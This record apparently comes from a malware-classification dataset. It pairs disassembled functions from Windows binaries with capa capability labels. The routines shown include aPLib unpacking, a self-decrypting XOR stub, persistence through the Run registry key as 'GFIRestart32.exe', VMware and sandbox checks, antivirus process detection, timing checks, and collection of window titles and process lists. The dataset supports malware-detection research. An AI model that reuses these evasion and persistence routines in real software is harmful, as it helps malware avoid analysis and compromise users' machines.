joyce8/EMBER2024-capa huggingface dataset:
Function at 0xf0d1b8
Capabilities:
Decompress data using aplib

Disassembly:
call 0xf0d308
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xf0d1de
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xf0d1ca
add dl, dl
jne 0xf0d1e9
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xf0d23c
xor eax, eax
add dl, dl
jne 0xf0d1f6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xf0d2dd
add dl, dl
jne 0xf0d205
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf0d210
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf0d21b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf0d226
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xf0d232
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xf0d1d5
mov eax, 1
add dl, dl
jne 0xf0d24a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf0d255
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xf0d241
sub eax, ebx
mov ebx, 1
jne 0xf0d288
mov ecx, 1
add dl, dl
jne 0xf0d26e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xf0d279
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xf0d265
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xf0d1d5
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xf0d29f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xf0d2aa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xf0d296
cmp eax, 0x7d00
jae 0xf0d2cd
cmp eax, 0x500
jb 0xf0d2c8
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xf0d1d5
cmp eax, 0x7f
ja 0xf0d2d0
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xf0d1d5
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xf0d2fe
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xf0d1d5
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10002190
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push 0x1fe
push ebx
push 0x1003d7e0
mov dword [ebp - 0x238], ebx
call fcn.10019790
mov eax, dword [str.360Safe.exe]
push 0x100316c4
push eax
call fcn.10018203
add esp, 0x14
test eax, eax
jne 0x10002305
push esi
push edi
mov esi, 0x10039758
mov dword [ebp - 0x234], ebx
jmp 0x100021f0
mov esi, dword [esi]
push 0x228
lea ecx, [ebp - 0x22c]
push ebx
push ecx
mov dword [ebp - 0x230], ebx
call fcn.10019790
add esp, 0xc
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x100022c7
lea edx, [ebp - 0x230]
push edx
push edi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10002289
lea ecx, [ecx]
mov ecx, esi
lea eax, [ebp - 0x20c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000226e
cmp dx, bx
je 0x1000226a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000226e
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x10002248
xor eax, eax
jmp 0x10002273
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x10002292
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10002240
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100022c7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x228], ebx
je 0x100022c7
mov ecx, dword [ebp - 0x234]
mov edx, dword [ecx + 0x1003975c]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push edx
push 0x1003d7e0
call esi
push 0x100316c8
push 0x1003d7e0
call esi
mov eax, dword [ebp - 0x238]
inc eax
lea esi, [eax*8]
mov dword [ebp - 0x234], esi
mov dword [ebp - 0x238], eax
mov eax, dword [esi + 0x10039758]
lea esi, [esi + 0x10039758]
push 0x100316c4
push eax
call fcn.10018203
add esp, 8
test eax, eax
je 0x100021f0
pop edi
pop esi
push 0x100316c4
push 0x1003d7e0
call fcn.10018203
add esp, 8
pop ebx
test eax, eax
jne 0x1000232c
push 0x10031590
push 0x1003d7e0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 0x1003d7e0
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
Function at 0x10002340
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.10019790
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x412]
push eax
mov word [ebp - 0x414], dx
call fcn.10019790
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esp, 0x18
push str.Shell32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SHGetSpecialFolderPathW
push eax
call edi
test eax, eax
je 0x10002417
push 1
push 7
lea ecx, [ebp - 0x20c]
push ecx
push 0
call eax
test eax, eax
je 0x10002417
push str.GFIRestart32.exe
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
push 3
push 0
push 0
push SysReAllocString
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x10002417
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
push ebx
push 0x1003178c
call esi
mov esi, eax
push 0x100317a8
push esi
call edi
push 0x100317bc
push esi
mov ebx, eax
call edi
push 0x100317cc
push esi
mov dword [ebp - 0x624], eax
call edi
mov esi, eax
test ebx, ebx
je 0x100024f1
mov eax, dword [ebp - 0x624]
test eax, eax
je 0x100024f1
test esi, esi
je 0x100024f1
lea edx, [ebp - 0x620]
push edx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call eax
test eax, eax
jne 0x100024f1
push 0x206
push eax
lea ecx, [ebp - 0x61a]
push ecx
mov word [ebp - 0x61c], ax
call fcn.10019790
mov ecx, dword [ebp - 0x620]
add esp, 0xc
lea edx, [ebp - 0x624]
push edx
lea eax, [ebp - 0x61c]
push eax
push 0
push 0
push str.GFIRestart32.exe
push ecx
mov dword [ebp - 0x624], 0x208
call ebx
test eax, eax
jne 0x100024e8
mov edx, dword [ebp - 0x620]
push edx
call esi
pop ebx
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x620]
push eax
call esi
mov ecx, dword [ebp - 4]
pop ebx
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
Function at 0x10002990
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x10]
push eax
push 0x10030948
push 1
push edi
push 0x10030908
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x100029c4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 4]
push edx
push 0x10030918
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x100029bc
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x10002a7d
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x1002a420
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x10002a59
mov eax, dword [ebp - 0xc]
mov ecx, 8
mov word [ebp - 0x28], cx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [ebp - 0x28]
push ecx
push 0x1003181c
push eax
call edx
test eax, eax
jne 0x10002a4e
mov eax, dword [ebp - 0x20]
push eax
inc edi
call esi
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x10002a08
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10002de0
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
push edi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], esi
xor edi, edi
nop
lea eax, [esi + 0x42]
mov word [ebp - 0x18], ax
lea ecx, [ebp - 0x18]
xor eax, eax
push ecx
mov dword [ebp - 0x16], 0x5c003a
mov word [ebp - 0x12], ax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x10002e5a
lea edx, [ebp - 0x78]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0x18]
push edx
inc edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x78]
shrd eax, ecx, 0x1e
add dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x74]
shrd edx, eax, 0x1e
shr ecx, 0x1e
shr eax, 0x1e
add dword [ebp - 0x60], edx
inc esi
cmp esi, 0x1a
jl 0x10002e00
push 0x40
lea ecx, [ebp - 0x58]
push 0
push ecx
mov dword [ebp - 0x64], edi
call fcn.10019790
add esp, 0xc
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x48]
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x60]
shrd esi, edi, 0x1e
shr edi, 0x1e
add esi, 1
adc edi, 0
shrd eax, ecx, 0x1e
shr ecx, 0x1e
add eax, 1
adc ecx, 0
push ecx
mov ecx, dword [ebp - 0x64]
push eax
mov eax, dword [ebp - 0x5c]
push edx
push eax
push ecx
push 0x10031850
push 0xc8
push ebx
call fcn.10018027
push edi
push esi
push ebx
push 0x100318a0
push 0xc8
push ebx
call fcn.10018027
mov ecx, dword [ebp - 4]
add esp, 0x38
pop edi
xor ecx, ebp
pop esi
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
Function at 0x10002ef0
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10033aa8
push 0x1001bb90
mov eax, dword fs:[0]
push eax
sub esp, 0x24c
mov eax, dword [0x100351c0]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x238], eax
mov esi, ecx
mov edi, edx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x22c], 1
mov dword [ebp - 0x228], 0
push 0x208
push 0
lea ecx, [ebp - 0x224]
push ecx
call fcn.10019790
add esp, 0xc
mov dword [ebp - 4], 0
lea edx, [ebp - 0x234]
push edx
push 0x20019
push 0
push esi
mov eax, dword [ebp - 0x238]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10002f96
mov dword [ebp - 0x228], 0xffffffff
jmp 0x10003146
mov eax, dword [ebp + 0x10]
sub eax, 0
je 0x100030aa
mov esi, 1
sub eax, esi
je 0x10003043
sub eax, esi
jne 0x10003146
mov eax, dword [ebp - 0x22c]
test eax, eax
je 0x10003146
cmp eax, 2
ja 0x10003146
mov dword [ebp - 0x230], 0x208
lea ecx, [ebp - 0x230]
push ecx
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x22c]
push eax
push 0
push edi
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10003034
push 0x10031670
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10002f87
lea eax, [ebp - 0x224]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x228], esi
jmp 0x10003146
mov dword [ebp - 0x228], 0
jmp 0x10003146
mov eax, dword [ebp - 0x22c]
test eax, eax
je 0x10003146
cmp eax, 2
ja 0x10003146
mov dword [ebp - 0x230], 0x208
lea ecx, [ebp - 0x230]
push ecx
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x22c]
push eax
push 0
push edi
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000313a
lea edx, [ebp - 0x224]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x228], esi
jmp 0x10003146
mov eax, dword [ebp - 0x22c]
test eax, eax
je 0x10003146
cmp eax, 2
ja 0x10003146
mov dword [ebp - 0x230], 0x208
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x22c]
push edx
push 0
push edi
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000313a
lea ecx, [ebp - 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x248]
push edx
lea eax, [ebp - 0x224]
push eax
push str._s__d
mov ecx, eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x224]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x228], 1
jmp 0x10003146
push str.error
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 4], 0xfffffffe
call fcn.10003174
mov eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
Function at 0x100035e0
Capabilities:
Enumerate processes
Get disk size
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.C:Program_FilesVMwareVMware_Tools_
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x10003618
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
push 0
push 2
mov dword [ebp - 0x288], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x100037c9
lea eax, [ebp - 0x288]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x100036a8
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x10003660
push str.VMwareService.exe
lea ecx, [ebp - 0x264]
push ecx
call esi
test eax, eax
je 0x10003605
push str.VMwareTray.exe
lea edx, [ebp - 0x264]
push edx
call esi
test eax, eax
je 0x10003605
push str.VMwareUser.exe
lea eax, [ebp - 0x264]
push eax
call esi
test eax, eax
je 0x10003605
lea ecx, [ebp - 0x288]
push ecx
push edi
call ebx
test eax, eax
jne 0x10003660
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea edx, [ebp - 0x28c]
push edx
push 0x64
push str.localhost
mov dword [ebp - 0x28c], 0
call dword [sym.imp.NETAPI32.dll_NetWkstaGetInfo]
test eax, eax
jne 0x10003716
mov eax, dword [str.WORKGROUP]
mov ecx, dword [0x10031c24]
mov edx, dword [0x10031c28]
mov dword [ebp - 0x18], eax
mov eax, dword [0x10031c2c]
mov dword [ebp - 0x14], ecx
mov ecx, dword [0x10031c30]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28c]
lea edx, [ebp - 0x18]
mov dword [ebp - 8], ecx
mov ecx, dword [eax + 8]
push edx
push ecx
call esi
test eax, eax
je 0x10003605
lea edx, [ebp - 0x58]
push edx
mov dword [ebp - 0x58], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp dword [ebp - 0x4c], 0
ja 0x10003740
jb 0x10003605
cmp dword [ebp - 0x50], 0x45f41500
jb 0x10003605
push 0
push 0
push 3
push 0
push 1
push SysReAllocString
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003777
push eax
call edi
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x29c]
push eax
push 8
lea ecx, [ebp - 0x298]
push ecx
push 0
push 0
push 0x7405c
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call edi
mov edx, dword [ebp - 0x294]
mov eax, dword [ebp - 0x298]
push 0
push 0x40000000
push edx
push eax
call fcn.10019810
test edx, edx
jg 0x100037c9
jl 0x10003605
cmp eax, 0x6e
jb 0x10003605
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
Function at 0x10004ed0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0xc8]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea ebx, [esi + 0xb8]
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [ebp + 0x10]
push ecx
lea edi, [esi + 0xd4]
push 0xff
push edi
call fcn.10018263
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push edi
mov dword [esi + 0x2d4], eax
call fcn.10019420
mov edx, dword [esi + 0x2d4]
mov ecx, dword [esi + 0x2e8]
add esp, 0xc
push 0
add edx, 8
push 0
mov dword [esi + 0x2d8], edx
mov edx, dword [ebp + 0xc]
mov eax, dword [ecx + 4]
mov eax, dword [eax]
push 0
add ecx, 4
push edx
mov edx, dword [ebp + 8]
push edx
call eax
test eax, eax
je 0x10004f99
lea edi, [esi + 0xc0]
push edi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [edi]
sub ecx, dword [ebx]
mov edx, dword [edi + 4]
sbb edx, dword [ebx + 4]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
fild qword [ebp - 8]
pop edi
fild qword [esi + 0xb0]
mov al, 1
fdiv qword [0x10032098]
fdivp st(1)
fstp qword [esi + 0xa8]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10005900
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [0x1003aa44]
push edi
mov edi, eax
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], edi
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push esi
mov ecx, edi
call edx
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x1003ac88
push 0x208
push 0x1003bab8
mov dword [esi + 8], eax
mov dword [esi], vtable.CKernelManager.0
mov dword [esi + 0x218], 0
call fcn.10018263
push 0x1003aa48
push 0x208
push 0x1003bec8
call fcn.10018263
mov eax, dword [ebp + 8]
add esp, 0x18
mov dword [0x1003974c], eax
xor eax, eax
push 0x1003178c
mov dword [0x10039754], ebx
mov dword [esi + 0x220], eax
mov dword [esi + 0x21c], eax
mov dword [esi + 0x214], edi
mov dword [0x1003aa3c], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RegCreateKeyExW
push eax
mov dword [esi + 0x228], eax
call edi
mov ecx, dword [esi + 0x228]
push 0x10031d80
push ecx
mov dword [esi + 0x22c], eax
call edi
mov edx, dword [esi + 0x228]
push str.RegDeleteKeyW
push edx
mov dword [esi + 0x24c], eax
call edi
mov dword [esi + 0x234], eax
mov eax, dword [esi + 0x228]
push 0x10031da0
push eax
call edi
mov ecx, dword [esi + 0x228]
push 0x100317a8
push ecx
mov dword [esi + 0x238], eax
call edi
mov edx, dword [esi + 0x228]
push 0x100317bc
push edx
mov dword [esi + 0x230], eax
call edi
mov dword [esi + 0x23c], eax
mov eax, dword [esi + 0x228]
push str.RegEnumValueW
push eax
call edi
mov ecx, dword [esi + 0x228]
push str.RegEnumKeyExW
push ecx
mov dword [esi + 0x240], eax
call edi
mov edx, dword [esi + 0x228]
mov dword [esi + 0x244], eax
push 0x100317cc
push edx
call edi
pop edi
mov dword [esi + 0x248], eax
mov eax, esi
pop ebx
pop ebp
ret 4
Function at 0x100060b0
Capabilities:
Enumerate processes
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x7532
mov dword [ebp - 0x238], eax
call fcn.10017fa7
push 0x7532
mov edi, eax
push 0
push edi
call fcn.10019790
add esp, 0x10
push 0
push 2
mov byte [edi], 2
mov dword [ebp - 0x234], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10006124
push str._vz
lea esi, [edi + 2]
push 0x3a98
push esi
call fcn.10018027
add esp, 0xc
jmp 0x10006242
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x1000613e
push 0x104
lea ecx, [edi + 2]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea esi, [edi + 2]
mov ecx, 0x10031670
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000616e
test dx, dx
je 0x1000616a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000616e
add eax, 4
add ecx, 4
test dx, dx
jne 0x10006148
xor eax, eax
jmp 0x10006173
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000618a
push 0x10031590
push 0x3a98
push esi
call fcn.10018027
add esp, 0xc
push esi
push 0x10031e00
push 0x3a98
push esi
call fcn.10018027
push 0x228
lea edx, [ebp - 0x22c]
push 0
push edx
call fcn.10019790
add esp, 0x1c
lea eax, [ebp - 0x230]
push eax
push ebx
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10006242
lea ecx, [ecx]
inc dword [ebp - 0x234]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x36b0
jg 0x10006242
mov ecx, dword [ebp - 0x234]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [eax + eax*4]
sub ecx, edx
jne 0x10006215
push esi
push 0x10031e10
push 0x3a98
push esi
call fcn.10018027
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
push esi
push str._s___s
push 0x3a98
push esi
call fcn.10018027
add esp, 0x14
lea ecx, [ebp - 0x230]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x100061d0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0x238]
mov ecx, dword [edx + 4]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
push 0x7532
push edi
call edx
push edi
call fcn.10017b4d
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10017a1f
mov esp, ebp
pop ebp
ret 4